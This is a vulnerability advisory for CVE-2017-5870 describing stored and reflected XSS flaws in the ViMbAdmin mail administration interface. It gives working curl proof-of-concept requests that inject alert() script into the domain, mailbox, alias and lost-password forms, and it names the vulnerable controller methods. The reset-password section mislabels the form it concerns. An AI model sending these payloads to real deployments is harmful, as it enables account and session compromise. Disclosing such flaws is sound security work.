Subject: [CVE-2017-5870] Multiple XSS vulnerabilities in ViMbAdmin
# [CVE-2017-5870] Multiple XSS vulnerabilities in ViMbAdmin
## Product Description
ViMbAdmin is a web-based interface used to manage a mail server with virtual domains, mailboxes and aliases. It is an open source solution developed by Opensolutions and distributed under the GNU/GPL license version 3. The official web site can be found at www.vimbadmin.net.
## Details
**CVE ID**: CVE-2017-5870
**Access Vector**: remote
**Security Risk**: high
**Vulnerability**: CWE-79
**CVSS Base Score**: 7.2
**CVSS vector**: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
## Proof of Concept
### Domain creation form
#### Exploit
The domain creation form is vulnerable to a stored XSS vulnerability, through the `domain` and `transport` variables:
```
curl 'http://<ip>/domain/add' -H 'Cookie: VIMBADMIN3=<SESSIONID>;' --data 'domain=testdomain%22%3E%3Cscript%3Ealert%28%27xss domain%27%29%3C%2Fscript%3E&description=none&backupmx=0&active=0&active=1&max_aliases=0&max_mailboxes=0&transport=virtual%22%3E%3Cscript%3Ealert%28%27XSS virtual%27%29%3C%2Fscript%3E' --compressed ;
```
The payload gets injected inside the `http://<ip>/domain/list` page.
#### Vulnerable code
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.
### Mailbox creation form
#### Exploit
The mailbox creation form is vulnerable to a stored XSS vulnerability, in the `name` variable:
```
curl 'http://mailadmin.commeun.ninja/mailbox/add/did/<domain id>' -H 'Cookie: VIMBADMIN3=<SESSIONID>' --data 'local_part=test&domain=<domain id>&name=test%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&password=<password>"a=0&alt_email=&cc_welcome_email='
```
The payload gets injected inside the `http://<ip>/mailbox/list` page.
#### Vulnerable code
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/MailboxController.php` file.
### Alias creation form
#### Exploit
The alias creation form is vulnerable to a stored XSS vulnerability, in the `goto` variable:
```
curl 'http://<ip>/alias/add/did/<domain id>' -H 'Cookie: VIMBADMIN3=<SESSIONID>' --data 'local_part=test&domain=4&goto%5B%5D=test%40test.com%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E'
```
The payload gets injected inside the `http://<ip>/alias` page.
#### Vulnerable code
The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/AliasController.php` file.
### On reset password page
#### Exploit
A reflected XSS vulnerability has been found on the alias creation form, using variables `captchatext`.
```
curl 'http://<ip>/auth/lost-password' --data 'username=none&captchaid=<captcha id>&requestnewimage=0&captchatext=none%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&login=Reset+Password'
```
The payload gets injected inside the `http://<ip>/alias` page.
#### Vulnerable code
The vulnerable code is located in the `_getFormLostPassword()` method of the `<vimbadmin directory>/application/controllers/AuthController.php` file.
